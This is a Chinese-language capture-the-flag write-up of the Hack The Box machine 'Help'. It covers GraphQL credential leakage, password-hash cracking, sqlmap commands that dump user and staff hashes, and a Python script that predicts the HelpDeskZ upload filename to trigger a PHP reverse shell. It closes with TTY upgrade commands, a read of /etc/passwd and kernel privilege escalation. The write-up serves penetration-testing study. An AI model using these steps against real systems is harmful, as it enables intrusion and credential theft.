Help-Writeup

概述 (Overview)

3166629.png

  • MACHINE TAGS
    • Python
    • SQL
    • Arbitrary File Upload
    • SQLi
    • Web

攻击链 (Kiillchain)

49150944.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • dirsearch
  • exploit-db
  • inql
  • Linux Kernel Privilege Escalation

阶段1:枚举

首先还是通过 Nmap 进行开局:

81153049.png

开放端口很少,80 页面为默认 Apache 组件首页:

79863561.png

查看 3000 端口,页面只显示了一串英文,关键信息:用户 Shiv,查询凭证:

80880198.png
Hi Shiv, To get access please find the credentials with given query

80914953.png

在 header 中发现服务指纹信息 Express

Express 是一种保持最低程度规模的灵活 Node.js Web 应用程序框架,为Web 和移动应用程序提供一组强大的功能。

利用 dirsearch 枚举下路径信息,发现存在一个 /support/ 路径:

80208266.png
80224765.png

阶段2:工具和利用

阶段2.1:exploit尝试

服务的信息为 HelpDeskZ Support Center,尝试搜索 exploit-db:

# searchsploit HelpDeskZ                                           
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                            |  Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload                                                                                   | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download                                            | php/webapps/41200.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

看描述是存在文件上传的问题,通过查看 README.md 确认下当前版本:

82524523.png

利用步骤:

So by guessing the time the file was uploaded, we can get RCE.

Steps to reproduce:

http://localhost/helpdeskz/?v=submit_ticket&action=displayForm

Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:

exploit.py http://localhost/helpdeskz/ phpshell.php

准备上传的反弹shell:

80905152.png

测试了一下上传提示没有权限,看来是需要登录才行:

82212403.png

阶段2.2:GraphQL查询

转而研究 Express ,通过google了解到它是通过 GraphQL 语法查询API的:

81544825.png

验证是否存在查询接口:

81560890.png
不存在 /admin 接口,存在 graphql 接口:
81574508.png

通过 burp 安装 https://github.com/doyensec/inql 插件,进行语法查询:

81892792.png

点击右键可以选择通过那种工具进行查询,选择 to graphiql 则会打开一个浏览器IDE工具:

82006885.png

OK,现在我们得到了一组用户名口令:

81942787.png

{"data":{"user":{"password":"5d3c93182bb20f07b994a7f617e99cff","username":"helpme@helpme.com"}}}

查询MD5解密:https://md5hashing.net/hash/md5/5d3c93182bb20f07b994a7f617e99cff

5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz

成功登录 HelpDeskZ 系统:

82216406.png

阶段2.3:SQL注入到任务文件上传利用

找到文件上传视图,测试 41200.py 的 SQL注入:

http://10.10.10.121/support/?v=view_tickets
82630564.png
http://10.10.10.121/support/?v=submit_ticket
82659999.png

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4

83936002.png

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=3&param[]=8

找到URL及关键参数,简单验证下SQL注入是否存在:

83968937.png

83986028.png
在通过 sqlmap 验证下漏洞真实性:
84474906.png

通过该系统的建表语句了解表结构,获取用户信息:https://github.com/helpdesk-z/helpdeskz-dev/blob/4ed1a685d9f24741dc4c2393a6c098079175808c/hdz/install/db.sql

# sqlmap -r requert.txt -D support -T users -C email,password --dump

[11:34:45] [INFO] retrieved: 2
[11:34:47] [INFO] retrieved: helpme@helpme.com
[11:35:59] [INFO] retrieved: c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca
[11:39:23] [INFO] retrieved: lolololol@yopmail.com
[11:40:34] [INFO] retrieved: ec09fa0d0ba74336ea7fe392869adb198242f15a

# sqlmap -r requert.txt -D support -T staff -C username,password --dump
Database: support
Table: staff
[1 entry]
+----------+------------------------------------------+
| username | password                                 |
+----------+------------------------------------------+
| admin    | d318f44739dced66793b1a603028133a76ae680e |
+----------+------------------------------------------+

获取管理账号并成功解出密码:

c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca : godhelpmeplz
d318f44739dced66793b1a603028133a76ae680e : Welcome1

通过代码审计找到文件上传方便,查看下文件上传后保存在服务器上的路径生成规则:

85310286.png
85333795.png

可以看到,在 141 行中,最终的文件名会是一个 md5 + $ext 的形式。

根据代码内容构造出最终服务器保存脚本的路径:

import hashlib
import datetime
import sys

currentTime = int((datetime.datetime.strptime(sys.argv[1], '%a, %d %b %Y %H:%M:%S %Z')  - datetime.datetime(1970,1,1)).total_seconds())

plaintext = 'phpshell.php' + str(currentTime)
md5hash = hashlib.md5(plaintext).hexdigest()
url = 'support/uploads/tickets/'+md5hash+'.php'
print url

得到:http://10.10.10.121/support/uploads/tickets/750ed74dcddcc38d1095182c6c2563fe.php

开启 nc 监听,访问上面生成的URL成功获得 help 用户sehll。

107397.png

获得完整 tty shell:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
help@help:/$ export TERM=xterm
[Ctrl + Z]
kali@kali~$ stty raw -echo; fg 

如果终端输出有截断,可以加上下面这条
$ stty rows 38 columns 116

查询下目标机器可登录用户:

cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
help:x:1000:1000:help,,,:/home/help:/bin/bash

尝试下密码碰撞,成功通过 help 用户登录目标服务器获得 user flag:

517348.png

阶段3:权限提升

通过信息收集工具枚举目标服务器利用信息:

[-] Kernel information:
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

[-] Kernel information (continued):
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 
UTC 2018

[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
NAME="Ubuntu"
VERSION="16.04.5 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.5 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

发现系统版本已经很老了,直接搜索内核类提权 exploit:searchsploit "Linux Kernel" | grep 4.4.0

2289525.png

编译运行该本地提权 exploit,成功获取 root flag:

2510081.png

总耗时,四个半小时,我是真的菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜….

参考